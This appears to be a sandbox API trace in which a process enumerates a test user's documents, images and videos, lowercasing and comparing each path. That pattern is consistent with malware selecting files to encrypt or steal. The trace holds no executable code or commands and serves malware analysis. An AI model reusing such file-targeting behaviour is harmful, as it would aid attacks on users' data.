_Str="file:///C:/Users/aETAdzjz/Documents/XoRtIuBcm%209dtD-.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 59 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/jGO-nkT.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 83 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/Mx7WX4E_2m.ods" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 85 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/FQiUCeN.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned="file:///c:/users/aetadzjz/documents/fqiucen.pptx" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 49 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/uSY6MrDrok9XbJ.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 85 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/1af7s2.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned="file:///c:/users/aetadzjz/documents/1af7s2.pdf" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 47 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/7gOt.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 77 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Fl_cD2j6qBLGAZWA2SQL.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 59 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/wF26TYFkwvqF2By4BhD.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 70 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/nZix0SllaB7KoS.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 90 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/0Mck7qEx.odt" | out: _Str="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned="file:///c:/users/aetadzjz/desktop/0mck7qex.odt" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 47 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/kjO%20Dw4y7j6PSDs.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 59 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/f7XU9f0SBJ9qZlFH/yPjL%20kQD7ou.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 101 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/kiam-z8FT.png" | out: _Str="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 48 [0069.100] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.100] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/-GCiLF6CuoB%20faBa9y.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots" [0069.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 105 [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/GpXpY.doc" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc" [0069.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 87 [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gU8x7JTYUiEeJlLB.docx" | out: _Str="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx" [0069.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 58 [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Sa--KaU.pptx" | out: _Str="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned="file:///c:/users/aetadzjz/desktop/sa--kau.pptx" [0069.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 47 [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/ISGCjtsl.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/NHdK1KlIx_X.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/uTQTV2mVPN8RQx.ppt" | out: _Str="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BtYd0hRgDbLuEUQ.rtf" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/1r1kigcRNnjGvFo_X.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.101] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/Pp66Ey.odp" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp" [0069.101] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BHeVV6.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/s_UpnGnH6bOtNe0evC.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/XLx9XFVUH.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/yLRsy2oezmQpaMb5Xpsr.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BhjP5Caf9c99.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/jtfunIUKTuKB.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/tWly6%20NjwxP7S.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ma9jV-DYfRqQ5wZ%20Rh.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.102] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/EYO_jfjnlvH.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png" [0069.102] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/K61U%208QBIT65csaJNMU.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/C40Oh8.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned="file:///c:/users/aetadzjz/documents/c40oh8.xlsx" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/w39fbPx.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned="file:///c:/users/aetadzjz/documents/w39fbpx.pptx" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/C9bf3zXlekmUcEs.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/f7XU9f0SBJ9qZlFH/5PBMI8.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/8wGZy1b.png" | out: _Str="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned="file:///c:/users/aetadzjz/desktop/8wgzy1b.png" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/U8ej.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Pu8nkjiAKviOXnl1Gn5.docx" | out: _Str="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/T6HliEmu6l0R.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt" [0069.103] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.103] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/rbAw.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/gg7cyCFjMTiuNlpsKCq.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/XRlOp0FhIh6H4MUMu.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/tuKxy_htJ_46yx.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/HP0A.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned="file:///c:/users/aetadzjz/documents/hp0a.pptx" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/QbatepvwwRmXg.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/zrocKiiWrQL0wTtbYu.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ox2%20TPJk0%20KYQWYZz.docx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/i92xqrOtuyGPP.png" | out: _Str="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/zQ3Uv.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif" [0069.104] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/iy0BS-wZvFAPifst.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx" [0069.104] _memicmp (_Buf1=0x28691c, 